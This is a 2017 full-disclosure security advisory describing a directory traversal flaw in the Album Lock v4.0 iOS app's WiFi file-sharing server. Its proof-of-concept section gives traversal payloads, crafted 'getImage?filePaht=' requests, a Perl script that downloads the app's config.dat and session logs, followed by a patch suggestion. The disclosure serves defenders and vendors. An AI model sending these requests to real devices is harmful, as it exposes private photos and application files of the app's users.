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List: full-disclosure
Subject: [FD] Album Lock v4.0 iOS - Directory Traversal Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2017-02-20 10:17:38
Message-ID: 49fd9bce-98c3-461b-264a-887caf6bdd96 () vulnerability-lab ! com
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Document Title:
===============
Album Lock v4.0 iOS - Directory Traversal Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2033
Release Date:
=============
2017-02-20
Vulnerability Laboratory ID (VL-ID):
====================================
2033
Common Vulnerability Scoring System:
====================================
7.2
Product & Service Introduction:
===============================
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy \
perfectly. Album is the most convenient private Photo&Video App! You can add your SPECIAL \
photos&videos into AlbumLock, we provides many convenient ways. From Photo App(Camera Roll), \
iTunes File Sharing Sync, WiFi Transfer and in App Camera.
(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 \
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal web \
vulnerability in the official Album Lock v4.0 ios mobile application.
Vulnerability Disclosure Timeline:
==================================
2017-02-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS \
mobile web-application. The issue allows an attackers to unauthorized request and download \
local application files by manipulation of path parameters.
The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi \
web-server interface. Remote attackers are able to request the local web-server during the \
sharing process to access unauthenticated application files. Attackers are able to request via \
`getObject` image path variables to access or download files. Remote attackers are able to \
access the root `document` path of the application. The request method to execute is GET and \
the attack vector is located on the client-side of the web-server web-application. Finally an \
attacker is able to access with the credentials the service by using a client via http \
protocol.
The security risk of the directory traversal vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 7.2. Exploitation of the web vulnerability \
requires no privilege web-application user account or user interaction. Successful exploitation \
of the vulnerability results in information leaking, mobile application compromise by \
unauthorized and unauthenticated access.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] getObject
Vulnerable Parameter(s):
[+] filePaht
Affected Module(s):
[+] Web-Server File System
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without user interaction or \
privilege web-application user account. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.
Standard Request:
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png
PoC: Payload
/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application
Malicious Request: Exploitation
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/
http://localhost:8880/getImage?filePaht=/var/mobile/
PoC: Exploit
use strict;
use LWP::UserAgent;
my $b = LWP::UserAgent->new();
my $host = "1.1.1.1:5555";
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application \
Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8880]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Reference(s):
http://localhost:8880/
http://localhost:8880/getImage
http://localhost:8880/getImage?filePaht=
http://localhost:8880/list_gif.html
http://localhost:8880/list_gif.html?folder=
Solution - Fix & Patch:
=======================
The vulnerability can be patch by disallowing the filepaht parameter to request upper local \
paths outside the document folder. Include a whitelist of allowed requested path and setup a \
secure exception to prevent on exploitation.
Security Risk:
==============
The security risk of the directory traversal web vulnerability in the mobile application is \
estimated as high. (CVSS 7.2)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri \
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
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